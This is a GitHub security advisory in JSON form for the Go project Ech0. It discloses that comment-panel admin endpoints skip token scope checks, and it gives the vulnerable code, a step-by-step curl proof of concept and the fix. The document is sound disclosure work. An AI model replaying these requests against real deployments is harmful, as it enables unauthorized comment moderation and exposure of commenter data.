GHSA-fwg7-53p4-g33c: Github.com/lin snow/ech0 Ech0 Comment Panel Endpoints Missing Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fwg7-53p4-g33c",
  "modified" : "2026-04-10T19:49:20Z",
  "published" : "2026-04-10T19:49:20Z",
  "aliases" : [ ],
  "summary" : "Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass",
  "details" : "## Summary\n\nAll 9 comment panel admin endpoints (`/api/panel/comments/*`) are missing `RequireScopes()` middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., `echo:read` only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings.\n\n## Details\n\nThe access token scope enforcement system works as follows: `JWTAuthMiddleware` (`internal/middleware/auth.go`) parses any valid JWT and injects a viewer into the request context. The `RequireScopes()` middleware (`internal/middleware/scope.go:14`) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority).\n\nEvery admin route group applies `RequireScopes()` per-handler:\n\n- `internal/router/echo.go` — uses `RequireScopes(ScopeEchoWrite)` / `RequireScopes(ScopeEchoRead)`\n- `internal/router/file.go` — uses `RequireScopes(ScopeFileRead)` / `RequireScopes(ScopeFileWrite)`\n- `internal/router/user.go` — uses `RequireScopes(ScopeAdminUser)` / `RequireScopes(ScopeProfileRead)`\n- `internal/router/setting.go` — uses `RequireScopes(ScopeAdminSettings)` / `RequireScopes(ScopeAdminToken)`\n\nHowever, `internal/router/comment.go:28-36` registers all 9 panel endpoints directly on `AuthRouterGroup` without any `RequireScopes()` call:\n\n```go\n// internal/router/comment.go:28-36\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments\", h.CommentHandler.ListPanelComments())\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/:id\", h.CommentHandler.GetCommentByID())\nappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/status\", h.CommentHandler.UpdateCommentStatus())\nappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/hot\", h.CommentHandler.UpdateCommentHot())\nappRouterGroup.AuthRouterGroup.DELETE(\"/panel/comments/:id\", h.CommentHandler.DeleteComment())\nappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/batch\", h.CommentHandler.BatchAction())\nappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/settings\", h.CommentHandler.GetCommentSetting())\nappRouterGroup.AuthRouterGroup.PUT(\"/panel/comments/settings\", h.CommentHandler.UpdateCommentSetting())\nappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/settings/test-email\", h.CommentHandler.TestCommentEmail())\n```\n\nThe service layer's `requireAdmin()` (`internal/service/comment/comment.go:719-732`) only validates the user's database role (`IsAdmin`/`IsOwner`), not the token's scopes:\n\n```go\nfunc (s *CommentService) requireAdmin(ctx context.Context) error {\n    v := viewer.MustFromContext(ctx)\n    if v == nil || strings.TrimSpace(v.UserID()) == \"\" {\n        return commonModel.NewBizError(...)\n    }\n    user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID())\n    if err != nil { return err }\n    if !user.IsAdmin && !user.IsOwner {\n        return commonModel.NewBizError(...)\n    }\n    return nil\n}\n```\n\nThe scopes `comment:read`, `comment:write`, and `comment:moderate` are defined in `internal/model/auth/scope.go:11-13` and registered as valid scopes, but are never referenced in any `RequireScopes()` middleware call anywhere in the codebase.\n\n**Execution flow:** Request with access token (scoped to `echo:read` only) → `JWTAuthMiddleware` extracts user ID, sets viewer → No `RequireScopes` middleware → Handler calls service → `requireAdmin()` checks `user.IsAdmin` (true for admin user) → Operation succeeds.\n\n## PoC\n\n```bash\n# 1. As admin, create an access token scoped ONLY to echo:read\ncurl -X POST https://target/api/settings/access-tokens \\\n  -H 'Authorization: Bearer <admin-session-token>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"readonly\",\"scopes\":[\"echo:read\"],\"audience\":[\"public-client\"],\"expiry_days\":30}'\n# Save the returned token as $TOKEN\n\n# 2. Verify the token CANNOT access other admin endpoints (scoped correctly):\ncurl https://target/api/settings \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 403 Forbidden (scope check blocks access)\n\n# 3. Use the same limited token to list ALL comments (including pending/rejected):\ncurl https://target/api/panel/comments \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK with full comment list (bypasses scope enforcement)\n\n# 4. Delete a comment:\ncurl -X DELETE https://target/api/panel/comments/<comment-id> \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK (should require comment:moderate scope)\n\n# 5. Approve/reject comments:\ncurl -X PATCH https://target/api/panel/comments/<comment-id>/status \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"status\":\"approved\"}'\n# Expected: 200 OK (should require comment:moderate scope)\n\n# 6. Read comment system settings:\ncurl https://target/api/panel/comments/settings \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Expected: 200 OK (may expose SMTP configuration)\n\n# 7. Disable the comment system entirely:\ncurl -X PUT https://target/api/panel/comments/settings \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"enable_comment\":false}'\n# Expected: 200 OK (should require admin:settings scope)\n```\n\n## Impact\n\n- **Principle of least privilege violation**: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority.\n- **Unauthorized comment moderation**: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to `echo:read`) can approve, reject, delete, and batch-modify all comments.\n- **Data exposure**: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with `comment:read` scope.\n- **Settings modification**: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials.\n- **Scope**: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem.\n\n## Recommended Fix\n\nAdd `RequireScopes()` middleware to all comment panel routes in `internal/router/comment.go`:\n\n```go\nfunc setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {\n\t// ... captcha and public routes unchanged ...\n\n\t// Admin Panel — enforce scopes on access tokens\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentRead),\n\t\th.CommentHandler.ListPanelComments())\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/:id\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentRead),\n\t\th.CommentHandler.GetCommentByID())\n\tappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/status\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.UpdateCommentStatus())\n\tappRouterGroup.AuthRouterGroup.PATCH(\"/panel/comments/:id/hot\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.UpdateCommentHot())\n\tappRouterGroup.AuthRouterGroup.DELETE(\"/panel/comments/:id\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.DeleteComment())\n\tappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/batch\",\n\t\tmiddleware.RequireScopes(authModel.ScopeCommentMod),\n\t\th.CommentHandler.BatchAction())\n\tappRouterGroup.AuthRouterGroup.GET(\"/panel/comments/settings\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.GetCommentSetting())\n\tappRouterGroup.AuthRouterGroup.PUT(\"/panel/comments/settings\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.UpdateCommentSetting())\n\tappRouterGroup.AuthRouterGroup.POST(\"/panel/comments/settings/test-email\",\n\t\tmiddleware.RequireScopes(authModel.ScopeAdminSettings),\n\t\th.CommentHandler.TestCommentEmail())\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-fwg7-53p4-g33c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/releases/tag/v4.4.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T19:49:20Z",
    "nvd_published_at" : null
  }
}